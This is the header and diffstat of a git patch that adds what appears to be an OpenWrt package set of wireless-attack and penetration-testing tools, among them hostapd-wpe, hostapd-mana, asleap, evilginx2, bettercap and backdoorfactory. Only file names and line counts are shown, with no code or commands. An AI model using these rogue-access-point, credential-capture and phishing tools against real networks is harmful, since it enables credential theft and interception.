From 2576f2f451e8bcd6318bc2ffd39534f1a22f4881 Mon Sep 17 00:00:00 2001 From: Andreas Nilsen Date: Fri, 14 May 2021 16:51:14 +0200 Subject: [PATCH] First commit Signed-off-by: Andreas Nilsen --- .github/FUNDING.yml | 3 + .gitignore | 246 + .gitmodules | 55 + README.md | 22 +- aircrack-ng-custom/Config.in | 38 + aircrack-ng-custom/Makefile | 122 + .../001-fix-openssl-autotools-detection.patch | 23 + aircrack-ng-custom/src | 1 + asleap/Makefile | 59 + asleap/src/COPYING | 340 + asleap/src/Makefile | 42 + asleap/src/README | 274 + asleap/src/THANKS | 11 + asleap/src/asleap | Bin 0 -> 227660 bytes asleap/src/asleap.c | 1652 +++ asleap/src/asleap.h | 77 + asleap/src/byteswap.h | 47 + asleap/src/common.c | 129 + asleap/src/common.h | 70 + asleap/src/data/README | 5 + asleap/src/data/leap.dump | Bin 0 -> 82808 bytes asleap/src/data/leap2.dump | Bin 0 -> 1487 bytes asleap/src/data/pptp.dump | Bin 0 -> 21387 bytes asleap/src/genkeys | Bin 0 -> 139513 bytes asleap/src/genkeys.c | 480 + asleap/src/genkeys.val | 118 + asleap/src/ieee80211.h | 336 + asleap/src/ieee8021x.h | 17 + asleap/src/ietfproto.h | 171 + asleap/src/joshlea.dump | Bin 0 -> 332385 bytes asleap/src/makefile.cygwin | 41 + asleap/src/md4.c | 308 + asleap/src/md4.h | 62 + asleap/src/radiotap.h | 210 + asleap/src/scripts/README | 6 + asleap/src/scripts/morewords.pl | 24 + asleap/src/scripts/strip-nonascii.pl | 9 + asleap/src/scripts/testidx.c | 154 + asleap/src/sha1.c | 253 + asleap/src/sha1.h | 18 + asleap/src/utils.c | 245 + asleap/src/utils.h | 35 + asleap/src/version.h | 19 + backdoorfactory/Makefile | 57 + bettercap/Makefile | 59 + bully-custom | 1 + dns2proxy/Makefile | 39 + dns2proxy/src | 1 + ettercap/Makefile | 56 + ettercap/patches/001-compile.patch | 12 + evilginx2/Makefile | 54 + evilginx2/src | 1 + hcxdumptool-custom/Makefile | 57 + hcxdumptool-custom/src | 1 + hcxlabtools/Makefile | 64 + hcxlabtools/src | 1 + hcxtools-custom/Makefile | 63 + hcxtools-custom/src | 1 + hostapd-mana/Config.in | 53 + hostapd-mana/Makefile | 180 + hostapd-mana/files/hostapd-mana.config | 366 + hostapd-mana/hostapd-2.9.mk | 23 + hostapd-mana/src | 1 + hostapd-mana/src2.9 | 1 + hostapd-wpe/Config.in | 39 + hostapd-wpe/Makefile | 156 + hostapd-wpe/files/.svn/entries | 368 + .../prop-base/hostapd-full.config.svn-base | 5 + .../prop-base/hostapd-mini.config.svn-base | 5 + .../files/.svn/prop-base/hostapd.sh.svn-base | 5 + .../wpa_supplicant-mini.config.svn-base | 5 + .../text-base/hostapd-full.config.svn-base | 172 + .../text-base/hostapd-mini.config.svn-base | 165 + .../files/.svn/text-base/hostapd.sh.svn-base | 359 + .../files/.svn/text-base/multicall.c.svn-base | 28 + .../files/.svn/text-base/netifd.sh.svn-base | 614 + .../wpa_supplicant-full.config.svn-base | 409 + .../wpa_supplicant-mini.config.svn-base | 407 + .../wpa_supplicant-p2p.config.svn-base | 412 + .../.svn/text-base/wpa_supplicant.sh.svn-base | 194 + .../.svn/text-base/wps-hotplug.sh.svn-base | 8 + hostapd-wpe/files/hostapd-full.config | 173 + hostapd-wpe/files/hostapd-mini.config | 165 + hostapd-wpe/files/hostapd-wpe.config | 173 + hostapd-wpe/files/hostapd.sh | 359 + hostapd-wpe/files/multicall.c | 28 + hostapd-wpe/files/netifd.sh | 614 + hostapd-wpe/files/wpa_supplicant-full.config | 409 + hostapd-wpe/files/wpa_supplicant-mini.config | 407 + hostapd-wpe/files/wpa_supplicant-p2p.config | 412 + hostapd-wpe/files/wpa_supplicant.sh | 194 + hostapd-wpe/files/wps-hotplug.sh | 8 + hostapd-wpe/src/Android.mk | 10 + hostapd-wpe/src/CONTRIBUTIONS | 143 + hostapd-wpe/src/COPYING | 22 + hostapd-wpe/src/README | 56 + hostapd-wpe/src/hostapd/.config | 345 + hostapd-wpe/src/hostapd/Android.mk | 1132 ++ hostapd-wpe/src/hostapd/ChangeLog | 1254 ++ hostapd-wpe/src/hostapd/Makefile | 1360 ++ hostapd-wpe/src/hostapd/README | 354 + hostapd-wpe/src/hostapd/README-MULTI-AP | 160 + hostapd-wpe/src/hostapd/README-WPS | 352 + hostapd-wpe/src/hostapd/android.config | 215 + hostapd-wpe/src/hostapd/certs/Makefile | 145 + hostapd-wpe/src/hostapd/certs/README | 226 + hostapd-wpe/src/hostapd/certs/README.wpe | 13 + hostapd-wpe/src/hostapd/certs/bootstrap | 82 + hostapd-wpe/src/hostapd/certs/ca.cnf | 62 + hostapd-wpe/src/hostapd/certs/client.cnf | 53 + .../src/hostapd/certs/demoCA/cacert.pem | 22 + hostapd-wpe/src/hostapd/certs/server.cnf | 54 + hostapd-wpe/src/hostapd/certs/xpextensions | 24 + hostapd-wpe/src/hostapd/config_file.c | 4492 +++++++ hostapd-wpe/src/hostapd/config_file.h | 22 + hostapd-wpe/src/hostapd/ctrl_iface.c | 4582 +++++++ hostapd-wpe/src/hostapd/ctrl_iface.h | 39 + hostapd-wpe/src/hostapd/defconfig | 381 + hostapd-wpe/src/hostapd/eap_register.c | 150 + hostapd-wpe/src/hostapd/eap_register.h | 14 + hostapd-wpe/src/hostapd/eap_testing.txt | 77 + hostapd-wpe/src/hostapd/etc/certs/ca.der | Bin 0 -> 1302 bytes hostapd-wpe/src/hostapd/etc/certs/ca.key | 30 + hostapd-wpe/src/hostapd/etc/certs/ca.pem | 30 + hostapd-wpe/src/hostapd/etc/certs/dh | 5 + hostapd-wpe/src/hostapd/etc/certs/server.key | 30 + hostapd-wpe/src/hostapd/etc/certs/server.pem | 60 + .../src/hostapd/etc/certs/server_no_pass.key | 27 + .../src/hostapd/etc/hostapd-wpe-an.conf | 1816 +++ .../src/hostapd/etc/hostapd-wpe-bgn.conf | 1814 +++ .../src/hostapd/etc/hostapd-wpe.eap_user | 87 + hostapd-wpe/src/hostapd/hapd_module_tests.c | 18 + hostapd-wpe/src/hostapd/hlr_auc_gw.c | 1109 ++ .../src/hostapd/hlr_auc_gw.milenage_db | 15 + hostapd-wpe/src/hostapd/hlr_auc_gw.txt | 104 + hostapd-wpe/src/hostapd/hostapd-wpe.conf | 2042 +++ hostapd-wpe/src/hostapd/hostapd-wpe.eap_user | 107 + hostapd-wpe/src/hostapd/hostapd.8 | 59 + hostapd-wpe/src/hostapd/hostapd.accept | 6 + hostapd-wpe/src/hostapd/hostapd.android.rc | 19 + hostapd-wpe/src/hostapd/hostapd.conf | 2562 ++++ hostapd-wpe/src/hostapd/hostapd.deny | 5 + hostapd-wpe/src/hostapd/hostapd.eap_user | 103 + .../src/hostapd/hostapd.eap_user_sqlite | 42 + .../src/hostapd/hostapd.radius_clients | 4 + hostapd-wpe/src/hostapd/hostapd.sim_db | 9 + hostapd-wpe/src/hostapd/hostapd.vlan | 9 + hostapd-wpe/src/hostapd/hostapd.wpa_psk | 15 + hostapd-wpe/src/hostapd/hostapd_cli.1 | 89 + hostapd-wpe/src/hostapd/hostapd_cli.c | 2122 +++ hostapd-wpe/src/hostapd/logwatch/README | 9 + hostapd-wpe/src/hostapd/logwatch/hostapd | 65 + hostapd-wpe/src/hostapd/logwatch/hostapd.conf | 10 + hostapd-wpe/src/hostapd/main.c | 953 ++ hostapd-wpe/src/hostapd/nt_password_hash.c | 47 + hostapd-wpe/src/hostapd/wired.conf | 40 + hostapd-wpe/src/hostapd/wps-ap-nfc.py | 342 + hostapd-wpe/src/hs20/client/Android.mk | 73 + hostapd-wpe/src/hs20/client/Makefile | 94 + hostapd-wpe/src/hs20/client/devdetail.xml | 47 + hostapd-wpe/src/hs20/client/devinfo.xml | 7 + hostapd-wpe/src/hs20/client/est.c | 715 + hostapd-wpe/src/hs20/client/oma_dm_client.c | 1370 ++ hostapd-wpe/src/hs20/client/osu_client.c | 3203 +++++ hostapd-wpe/src/hs20/client/osu_client.h | 118 + hostapd-wpe/src/hs20/client/spp_client.c | 995 ++ hostapd-wpe/src/hs20/server/Makefile | 45 + hostapd-wpe/src/hs20/server/ca/clean.sh | 10 + .../src/hs20/server/ca/est-csrattrs.cnf | 17 + .../src/hs20/server/ca/est-csrattrs.sh | 4 + hostapd-wpe/src/hs20/server/ca/hs20.oid | 7 + hostapd-wpe/src/hs20/server/ca/ocsp-req.sh | 11 + .../src/hs20/server/ca/ocsp-responder-ica.sh | 3 + .../src/hs20/server/ca/ocsp-responder.sh | 3 + .../src/hs20/server/ca/ocsp-update-cache.sh | 10 + .../src/hs20/server/ca/openssl-root.cnf | 125 + hostapd-wpe/src/hs20/server/ca/openssl.cnf | 200 + hostapd-wpe/src/hs20/server/ca/setup.sh | 125 + hostapd-wpe/src/hs20/server/ca/w1fi_logo.png | Bin 0 -> 7549 bytes .../src/hs20/server/hs20-osu-server.txt | 196 + hostapd-wpe/src/hs20/server/hs20_spp_server.c | 187 + hostapd-wpe/src/hs20/server/spp_server.c | 2263 ++++ hostapd-wpe/src/hs20/server/spp_server.h | 32 + hostapd-wpe/src/hs20/server/sql-example.txt | 17 + hostapd-wpe/src/hs20/server/sql.txt | 59 + hostapd-wpe/src/hs20/server/www/add-free.php | 50 + hostapd-wpe/src/hs20/server/www/add-mo.php | 56 + .../src/hs20/server/www/cert-enroll.php | 39 + hostapd-wpe/src/hs20/server/www/config.php | 4 + hostapd-wpe/src/hs20/server/www/est.php | 198 + .../src/hs20/server/www/free-remediation.php | 19 + hostapd-wpe/src/hs20/server/www/free.php | 23 + hostapd-wpe/src/hs20/server/www/redirect.php | 32 + .../src/hs20/server/www/remediation.php | 18 + hostapd-wpe/src/hs20/server/www/signup.php | 46 + hostapd-wpe/src/hs20/server/www/spp.php | 127 + hostapd-wpe/src/hs20/server/www/users.php | 349 + hostapd-wpe/src/src/Makefile | 12 + hostapd-wpe/src/src/ap/Makefile | 74 + hostapd-wpe/src/src/ap/accounting.c | 544 + hostapd-wpe/src/src/ap/accounting.h | 45 + hostapd-wpe/src/src/ap/acs.c | 986 ++ hostapd-wpe/src/src/ap/acs.h | 32 + hostapd-wpe/src/src/ap/ap_config.c | 1252 ++ hostapd-wpe/src/src/ap/ap_config.h | 893 ++ hostapd-wpe/src/src/ap/ap_drv_ops.c | 938 ++ hostapd-wpe/src/src/ap/ap_drv_ops.h | 377 + hostapd-wpe/src/src/ap/ap_list.c | 312 + hostapd-wpe/src/src/ap/ap_list.h | 58 + hostapd-wpe/src/src/ap/ap_mlme.c | 191 + hostapd-wpe/src/src/ap/ap_mlme.h | 34 + hostapd-wpe/src/src/ap/authsrv.c | 299 + hostapd-wpe/src/src/ap/authsrv.h | 15 + hostapd-wpe/src/src/ap/beacon.c | 1480 +++ hostapd-wpe/src/src/ap/beacon.h | 33 + hostapd-wpe/src/src/ap/bss_load.c | 99 + hostapd-wpe/src/src/ap/bss_load.h | 17 + hostapd-wpe/src/src/ap/ctrl_iface_ap.c | 994 ++ hostapd-wpe/src/src/ap/ctrl_iface_ap.h | 40 + hostapd-wpe/src/src/ap/dfs.c | 1138 ++ hostapd-wpe/src/src/ap/dfs.h | 33 + hostapd-wpe/src/src/ap/dhcp_snoop.c | 158 + hostapd-wpe/src/src/ap/dhcp_snoop.h | 30 + hostapd-wpe/src/src/ap/dpp_hostapd.c | 1646 +++ hostapd-wpe/src/src/ap/dpp_hostapd.h | 37 + hostapd-wpe/src/src/ap/drv_callbacks.c | 1832 +++ hostapd-wpe/src/src/ap/eap_user_db.c | 290 + hostapd-wpe/src/src/ap/eth_p_oui.c | 191 + hostapd-wpe/src/src/ap/eth_p_oui.h | 28 + hostapd-wpe/src/src/ap/fils_hlp.c | 654 + hostapd-wpe/src/src/ap/fils_hlp.h | 27 + hostapd-wpe/src/src/ap/gas_query_ap.c | 714 + hostapd-wpe/src/src/ap/gas_query_ap.h | 43 + hostapd-wpe/src/src/ap/gas_serv.c | 1889 +++ hostapd-wpe/src/src/ap/gas_serv.h | 91 + hostapd-wpe/src/src/ap/hostapd.c | 3474 +++++ hostapd-wpe/src/src/ap/hostapd.h | 632 + hostapd-wpe/src/src/ap/hs20.c | 255 + hostapd-wpe/src/src/ap/hs20.h | 26 + hostapd-wpe/src/src/ap/hw_features.c | 951 ++ hostapd-wpe/src/src/ap/hw_features.h | 76 + hostapd-wpe/src/src/ap/iapp.c | 542 + hostapd-wpe/src/src/ap/iapp.h | 39 + hostapd-wpe/src/src/ap/ieee802_11.c | 5115 +++++++ hostapd-wpe/src/src/ap/ieee802_11.h | 180 + hostapd-wpe/src/src/ap/ieee802_11_auth.c | 701 + hostapd-wpe/src/src/ap/ieee802_11_auth.h | 33 + hostapd-wpe/src/src/ap/ieee802_11_he.c | 119 + hostapd-wpe/src/src/ap/ieee802_11_ht.c | 557 + hostapd-wpe/src/src/ap/ieee802_11_shared.c | 1002 ++ hostapd-wpe/src/src/ap/ieee802_11_vht.c | 517 + hostapd-wpe/src/src/ap/ieee802_1x.c | 2879 ++++ hostapd-wpe/src/src/ap/ieee802_1x.h | 66 + hostapd-wpe/src/src/ap/mbo_ap.c | 244 + hostapd-wpe/src/src/ap/mbo_ap.h | 51 + hostapd-wpe/src/src/ap/ndisc_snoop.c | 186 + hostapd-wpe/src/src/ap/ndisc_snoop.h | 36 + hostapd-wpe/src/src/ap/neighbor_db.c | 257 + hostapd-wpe/src/src/ap/neighbor_db.h | 25 + hostapd-wpe/src/src/ap/p2p_hostapd.c | 113 + hostapd-wpe/src/src/ap/p2p_hostapd.h | 35 + hostapd-wpe/src/src/ap/pmksa_cache_auth.c | 729 + hostapd-wpe/src/src/ap/pmksa_cache_auth.h | 79 + hostapd-wpe/src/src/ap/preauth_auth.c | 273 + hostapd-wpe/src/src/ap/preauth_auth.h | 52 + hostapd-wpe/src/src/ap/rrm.c | 674 + hostapd-wpe/src/src/ap/rrm.h | 33 + hostapd-wpe/src/src/ap/sta_info.c | 1477 +++ hostapd-wpe/src/src/ap/sta_info.h | 354 + hostapd-wpe/src/src/ap/taxonomy.c | 292 + hostapd-wpe/src/src/ap/taxonomy.h | 24 + hostapd-wpe/src/src/ap/tkip_countermeasures.c | 110 + hostapd-wpe/src/src/ap/tkip_countermeasures.h | 15 + hostapd-wpe/src/src/ap/utils.c | 96 + hostapd-wpe/src/src/ap/vlan.c | 34 + hostapd-wpe/src/src/ap/vlan.h | 30 + hostapd-wpe/src/src/ap/vlan_full.c | 801 ++ hostapd-wpe/src/src/ap/vlan_ifconfig.c | 69 + hostapd-wpe/src/src/ap/vlan_init.c | 264 + hostapd-wpe/src/src/ap/vlan_init.h | 44 + hostapd-wpe/src/src/ap/vlan_ioctl.c | 155 + hostapd-wpe/src/src/ap/vlan_util.c | 174 + hostapd-wpe/src/src/ap/vlan_util.h | 31 + hostapd-wpe/src/src/ap/wmm.c | 324 + hostapd-wpe/src/src/ap/wmm.h | 23 + hostapd-wpe/src/src/ap/wnm_ap.c | 846 ++ hostapd-wpe/src/src/ap/wnm_ap.h | 30 + hostapd-wpe/src/src/ap/wpa_auth.c | 5209 ++++++++ hostapd-wpe/src/src/ap/wpa_auth.h | 493 + hostapd-wpe/src/src/ap/wpa_auth_ft.c | 4576 +++++++ hostapd-wpe/src/src/ap/wpa_auth_glue.c | 1399 ++ hostapd-wpe/src/src/ap/wpa_auth_glue.h | 16 + hostapd-wpe/src/src/ap/wpa_auth_i.h | 303 + hostapd-wpe/src/src/ap/wpa_auth_ie.c | 1178 ++ hostapd-wpe/src/src/ap/wpa_auth_ie.h | 51 + hostapd-wpe/src/src/ap/wps_hostapd.c | 2090 +++ hostapd-wpe/src/src/ap/wps_hostapd.h | 92 + hostapd-wpe/src/src/ap/x_snoop.c | 131 + hostapd-wpe/src/src/ap/x_snoop.h | 56 + hostapd-wpe/src/src/common/Makefile | 28 + hostapd-wpe/src/src/common/cli.c | 267 + hostapd-wpe/src/src/common/cli.h | 47 + .../src/src/common/common_module_tests.c | 439 + .../src/src/common/ctrl_iface_common.c | 209 + .../src/src/common/ctrl_iface_common.h | 42 + hostapd-wpe/src/src/common/defs.h | 422 + hostapd-wpe/src/src/common/dhcp.h | 263 + hostapd-wpe/src/src/common/dpp.c | 8721 ++++++++++++ hostapd-wpe/src/src/common/dpp.h | 505 + hostapd-wpe/src/src/common/eapol_common.h | 92 + hostapd-wpe/src/src/common/gas.c | 273 + hostapd-wpe/src/src/common/gas.h | 40 + hostapd-wpe/src/src/common/gas_server.c | 487 + hostapd-wpe/src/src/common/gas_server.h | 44 + .../src/src/common/hw_features_common.c | 620 + .../src/src/common/hw_features_common.h | 47 + .../src/src/common/ieee802_11_common.c | 1831 +++ .../src/src/common/ieee802_11_common.h | 272 + hostapd-wpe/src/src/common/ieee802_11_defs.h | 2183 +++ hostapd-wpe/src/src/common/ieee802_1x_defs.h | 86 + hostapd-wpe/src/src/common/linux_bridge.h | 39 + hostapd-wpe/src/src/common/linux_vlan.h | 52 + hostapd-wpe/src/src/common/ocv.c | 172 + hostapd-wpe/src/src/common/ocv.h | 40 + hostapd-wpe/src/src/common/privsep_commands.h | 111 + hostapd-wpe/src/src/common/qca-vendor-attr.h | 28 + hostapd-wpe/src/src/common/qca-vendor.h | 6712 ++++++++++ hostapd-wpe/src/src/common/sae.c | 1542 +++ hostapd-wpe/src/src/common/sae.h | 80 + hostapd-wpe/src/src/common/tnc.h | 121 + hostapd-wpe/src/src/common/version.h | 14 + hostapd-wpe/src/src/common/wpa_common.c | 2602 ++++ hostapd-wpe/src/src/common/wpa_common.h | 494 + hostapd-wpe/src/src/common/wpa_ctrl.c | 767 ++ hostapd-wpe/src/src/common/wpa_ctrl.h | 591 + hostapd-wpe/src/src/common/wpa_helpers.c | 294 + hostapd-wpe/src/src/common/wpa_helpers.h | 37 + hostapd-wpe/src/src/crypto/.gitignore | 1 + hostapd-wpe/src/src/crypto/Makefile | 73 + hostapd-wpe/src/src/crypto/aes-cbc.c | 86 + hostapd-wpe/src/src/crypto/aes-ccm.c | 212 + hostapd-wpe/src/src/crypto/aes-ctr.c | 71 + hostapd-wpe/src/src/crypto/aes-eax.c | 145 + hostapd-wpe/src/src/crypto/aes-encblock.c | 32 + hostapd-wpe/src/src/crypto/aes-gcm.c | 327 + hostapd-wpe/src/src/crypto/aes-internal-dec.c | 163 + hostapd-wpe/src/src/crypto/aes-internal-enc.c | 131 + hostapd-wpe/src/src/crypto/aes-internal.c | 845 ++ hostapd-wpe/src/src/crypto/aes-omac1.c | 173 + hostapd-wpe/src/src/crypto/aes-siv.c | 208 + hostapd-wpe/src/src/crypto/aes-unwrap.c | 80 + hostapd-wpe/src/src/crypto/aes-wrap.c | 76 + hostapd-wpe/src/src/crypto/aes.h | 21 + hostapd-wpe/src/src/crypto/aes_i.h | 125 + hostapd-wpe/src/src/crypto/aes_siv.h | 21 + hostapd-wpe/src/src/crypto/aes_wrap.h | 73 + hostapd-wpe/src/src/crypto/crypto.h | 893 ++ hostapd-wpe/src/src/crypto/crypto_gnutls.c | 506 + .../src/src/crypto/crypto_internal-cipher.c | 243 + .../src/src/crypto/crypto_internal-modexp.c | 122 + .../src/src/crypto/crypto_internal-rsa.c | 117 + hostapd-wpe/src/src/crypto/crypto_internal.c | 328 + .../src/src/crypto/crypto_libtomcrypt.c | 768 ++ hostapd-wpe/src/src/crypto/crypto_linux.c | 1009 ++ .../src/src/crypto/crypto_module_tests.c | 2167 +++ hostapd-wpe/src/src/crypto/crypto_nettle.c | 469 + hostapd-wpe/src/src/crypto/crypto_none.c | 24 + hostapd-wpe/src/src/crypto/crypto_openssl.c | 2087 +++ hostapd-wpe/src/src/crypto/crypto_wolfssl.c | 1786 +++ hostapd-wpe/src/src/crypto/des-internal.c | 494 + hostapd-wpe/src/src/crypto/des_i.h | 25 + hostapd-wpe/src/src/crypto/dh_group5.c | 41 + hostapd-wpe/src/src/crypto/dh_group5.h | 18 + hostapd-wpe/src/src/crypto/dh_groups.c | 1266 ++ hostapd-wpe/src/src/crypto/dh_groups.h | 29 + .../src/src/crypto/fips_prf_internal.c | 69 + hostapd-wpe/src/src/crypto/fips_prf_openssl.c | 99 + hostapd-wpe/src/src/crypto/fips_prf_wolfssl.c | 87 + hostapd-wpe/src/src/crypto/md4-internal.c | 275 + hostapd-wpe/src/src/crypto/md5-internal.c | 290 + hostapd-wpe/src/src/crypto/md5.c | 109 + hostapd-wpe/src/src/crypto/md5.h | 19 + hostapd-wpe/src/src/crypto/md5_i.h | 23 + hostapd-wpe/src/src/crypto/milenage.c | 323 + hostapd-wpe/src/src/crypto/milenage.h | 27 + hostapd-wpe/src/src/crypto/ms_funcs.c | 531 + hostapd-wpe/src/src/crypto/ms_funcs.h | 64 + hostapd-wpe/src/src/crypto/random.c | 478 + hostapd-wpe/src/src/crypto/random.h | 28 + hostapd-wpe/src/src/crypto/rc4.c | 54 + hostapd-wpe/src/src/crypto/sha1-internal.c | 306 + hostapd-wpe/src/src/crypto/sha1-pbkdf2.c | 92 + hostapd-wpe/src/src/crypto/sha1-prf.c | 67 + hostapd-wpe/src/src/crypto/sha1-tlsprf.c | 101 + hostapd-wpe/src/src/crypto/sha1-tprf.c | 72 + hostapd-wpe/src/src/crypto/sha1.c | 107 + hostapd-wpe/src/src/crypto/sha1.h | 27 + hostapd-wpe/src/src/crypto/sha1_i.h | 23 + hostapd-wpe/src/src/crypto/sha256-internal.c | 229 + hostapd-wpe/src/src/crypto/sha256-kdf.c | 87 + hostapd-wpe/src/src/crypto/sha256-prf.c | 108 + hostapd-wpe/src/src/crypto/sha256-tlsprf.c | 66 + hostapd-wpe/src/src/crypto/sha256.c | 104 + hostapd-wpe/src/src/crypto/sha256.h | 30 + hostapd-wpe/src/src/crypto/sha256_i.h | 25 + hostapd-wpe/src/src/crypto/sha384-internal.c | 92 + hostapd-wpe/src/src/crypto/sha384-kdf.c | 87 + hostapd-wpe/src/src/crypto/sha384-prf.c | 108 + hostapd-wpe/src/src/crypto/sha384.c | 104 + hostapd-wpe/src/src/crypto/sha384.h | 27 + hostapd-wpe/src/src/crypto/sha384_i.h | 23 + hostapd-wpe/src/src/crypto/sha512-internal.c | 270 + hostapd-wpe/src/src/crypto/sha512-kdf.c | 87 + hostapd-wpe/src/src/crypto/sha512-prf.c | 108 + hostapd-wpe/src/src/crypto/sha512.c | 104 + hostapd-wpe/src/src/crypto/sha512.h | 27 + hostapd-wpe/src/src/crypto/sha512_i.h | 25 + hostapd-wpe/src/src/crypto/tls.h | 646 + hostapd-wpe/src/src/crypto/tls_gnutls.c | 1786 +++ hostapd-wpe/src/src/crypto/tls_internal.c | 811 ++ hostapd-wpe/src/src/crypto/tls_none.c | 232 + hostapd-wpe/src/src/crypto/tls_openssl.c | 5388 ++++++++ hostapd-wpe/src/src/crypto/tls_openssl.h | 19 + hostapd-wpe/src/src/crypto/tls_openssl_ocsp.c | 846 ++ hostapd-wpe/src/src/crypto/tls_wolfssl.c | 2201 +++ hostapd-wpe/src/src/drivers/.gitignore | 2 + hostapd-wpe/src/src/drivers/Makefile | 9 + hostapd-wpe/src/src/drivers/android_drv.h | 56 + hostapd-wpe/src/src/drivers/driver.h | 5672 ++++++++ hostapd-wpe/src/src/drivers/driver_atheros.c | 2300 ++++ hostapd-wpe/src/src/drivers/driver_bsd.c | 1758 +++ hostapd-wpe/src/src/drivers/driver_common.c | 312 + hostapd-wpe/src/src/drivers/driver_hostap.c | 1202 ++ hostapd-wpe/src/src/drivers/driver_hostap.h | 210 + .../src/src/drivers/driver_macsec_linux.c | 1437 ++ .../src/src/drivers/driver_macsec_qca.c | 824 ++ hostapd-wpe/src/src/drivers/driver_ndis.c | 3214 +++++ hostapd-wpe/src/src/drivers/driver_ndis.h | 59 + hostapd-wpe/src/src/drivers/driver_ndis_.c | 99 + hostapd-wpe/src/src/drivers/driver_nl80211.c | 11026 ++++++++++++++++ hostapd-wpe/src/src/drivers/driver_nl80211.h | 310 + .../src/src/drivers/driver_nl80211_android.c | 190 + .../src/src/drivers/driver_nl80211_capa.c | 2200 +++ .../src/src/drivers/driver_nl80211_event.c | 2684 ++++ .../src/src/drivers/driver_nl80211_monitor.c | 500 + .../src/src/drivers/driver_nl80211_scan.c | 1285 ++ hostapd-wpe/src/src/drivers/driver_none.c | 85 + hostapd-wpe/src/src/drivers/driver_openbsd.c | 137 + hostapd-wpe/src/src/drivers/driver_privsep.c | 839 ++ .../src/src/drivers/driver_roboswitch.c | 487 + hostapd-wpe/src/src/drivers/driver_wext.c | 2506 ++++ hostapd-wpe/src/src/drivers/driver_wext.h | 81 + hostapd-wpe/src/src/drivers/driver_wired.c | 407 + .../src/src/drivers/driver_wired_common.c | 322 + .../src/src/drivers/driver_wired_common.h | 34 + hostapd-wpe/src/src/drivers/drivers.c | 53 + hostapd-wpe/src/src/drivers/drivers.mak | 222 + hostapd-wpe/src/src/drivers/drivers.mk | 198 + hostapd-wpe/src/src/drivers/linux_defines.h | 46 + hostapd-wpe/src/src/drivers/linux_ioctl.c | 237 + hostapd-wpe/src/src/drivers/linux_ioctl.h | 23 + hostapd-wpe/src/src/drivers/linux_wext.h | 45 + hostapd-wpe/src/src/drivers/ndis_events.c | 802 ++ hostapd-wpe/src/src/drivers/netlink.c | 226 + hostapd-wpe/src/src/drivers/netlink.h | 28 + hostapd-wpe/src/src/drivers/nl80211_copy.h | 6385 +++++++++ hostapd-wpe/src/src/drivers/priv_netlink.h | 109 + hostapd-wpe/src/src/drivers/rfkill.c | 224 + hostapd-wpe/src/src/drivers/rfkill.h | 25 + hostapd-wpe/src/src/eap_common/Makefile | 31 + hostapd-wpe/src/src/eap_common/chap.c | 28 + hostapd-wpe/src/src/eap_common/chap.h | 17 + hostapd-wpe/src/src/eap_common/eap_common.c | 288 + hostapd-wpe/src/src/eap_common/eap_common.h | 33 + hostapd-wpe/src/src/eap_common/eap_defs.h | 118 + .../src/src/eap_common/eap_eke_common.c | 728 + .../src/src/eap_common/eap_eke_common.h | 114 + .../src/src/eap_common/eap_fast_common.c | 270 + .../src/src/eap_common/eap_fast_common.h | 107 + .../src/src/eap_common/eap_gpsk_common.c | 552 + .../src/src/eap_common/eap_gpsk_common.h | 66 + .../src/src/eap_common/eap_ikev2_common.c | 116 + .../src/src/eap_common/eap_ikev2_common.h | 29 + .../src/src/eap_common/eap_pax_common.c | 150 + .../src/src/eap_common/eap_pax_common.h | 92 + .../src/src/eap_common/eap_peap_common.c | 85 + .../src/src/eap_common/eap_peap_common.h | 16 + .../src/src/eap_common/eap_psk_common.c | 68 + .../src/src/eap_common/eap_psk_common.h | 72 + .../src/src/eap_common/eap_pwd_common.c | 528 + .../src/src/eap_common/eap_pwd_common.h | 77 + .../src/src/eap_common/eap_sake_common.c | 400 + .../src/src/eap_common/eap_sake_common.h | 96 + .../src/src/eap_common/eap_sim_common.c | 1205 ++ .../src/src/eap_common/eap_sim_common.h | 230 + .../src/src/eap_common/eap_tlv_common.h | 112 + hostapd-wpe/src/src/eap_common/eap_ttls.h | 65 + .../src/src/eap_common/eap_wsc_common.c | 33 + .../src/src/eap_common/eap_wsc_common.h | 27 + hostapd-wpe/src/src/eap_common/ikev2_common.c | 725 + hostapd-wpe/src/src/eap_common/ikev2_common.h | 334 + hostapd-wpe/src/src/eap_peer/Makefile | 23 + hostapd-wpe/src/src/eap_peer/eap.c | 3174 +++++ hostapd-wpe/src/src/eap_peer/eap.h | 389 + hostapd-wpe/src/src/eap_peer/eap_aka.c | 1601 +++ hostapd-wpe/src/src/eap_peer/eap_config.h | 851 ++ hostapd-wpe/src/src/eap_peer/eap_eke.c | 785 ++ hostapd-wpe/src/src/eap_peer/eap_fast.c | 1822 +++ hostapd-wpe/src/src/eap_peer/eap_fast_pac.c | 927 ++ hostapd-wpe/src/src/eap_peer/eap_fast_pac.h | 50 + hostapd-wpe/src/src/eap_peer/eap_gpsk.c | 783 ++ hostapd-wpe/src/src/eap_peer/eap_gtc.c | 141 + hostapd-wpe/src/src/eap_peer/eap_i.h | 404 + hostapd-wpe/src/src/eap_peer/eap_ikev2.c | 530 + hostapd-wpe/src/src/eap_peer/eap_leap.c | 416 + hostapd-wpe/src/src/eap_peer/eap_md5.c | 116 + hostapd-wpe/src/src/eap_peer/eap_methods.c | 376 + hostapd-wpe/src/src/eap_peer/eap_methods.h | 110 + hostapd-wpe/src/src/eap_peer/eap_mschapv2.c | 899 ++ hostapd-wpe/src/src/eap_peer/eap_otp.c | 97 + hostapd-wpe/src/src/eap_peer/eap_pax.c | 559 + hostapd-wpe/src/src/eap_peer/eap_peap.c | 1341 ++ hostapd-wpe/src/src/eap_peer/eap_proxy.h | 55 + .../src/src/eap_peer/eap_proxy_dummy.c | 94 + hostapd-wpe/src/src/eap_peer/eap_psk.c | 494 + hostapd-wpe/src/src/eap_peer/eap_pwd.c | 1106 ++ hostapd-wpe/src/src/eap_peer/eap_sake.c | 521 + hostapd-wpe/src/src/eap_peer/eap_sim.c | 1292 ++ hostapd-wpe/src/src/eap_peer/eap_tls.c | 482 + hostapd-wpe/src/src/eap_peer/eap_tls_common.c | 1192 ++ hostapd-wpe/src/src/eap_peer/eap_tls_common.h | 138 + hostapd-wpe/src/src/eap_peer/eap_tnc.c | 424 + hostapd-wpe/src/src/eap_peer/eap_ttls.c | 1833 +++ .../src/src/eap_peer/eap_vendor_test.c | 186 + hostapd-wpe/src/src/eap_peer/eap_wsc.c | 593 + hostapd-wpe/src/src/eap_peer/ikev2.c | 1240 ++ hostapd-wpe/src/src/eap_peer/ikev2.h | 59 + hostapd-wpe/src/src/eap_peer/mschapv2.c | 124 + hostapd-wpe/src/src/eap_peer/mschapv2.h | 28 + 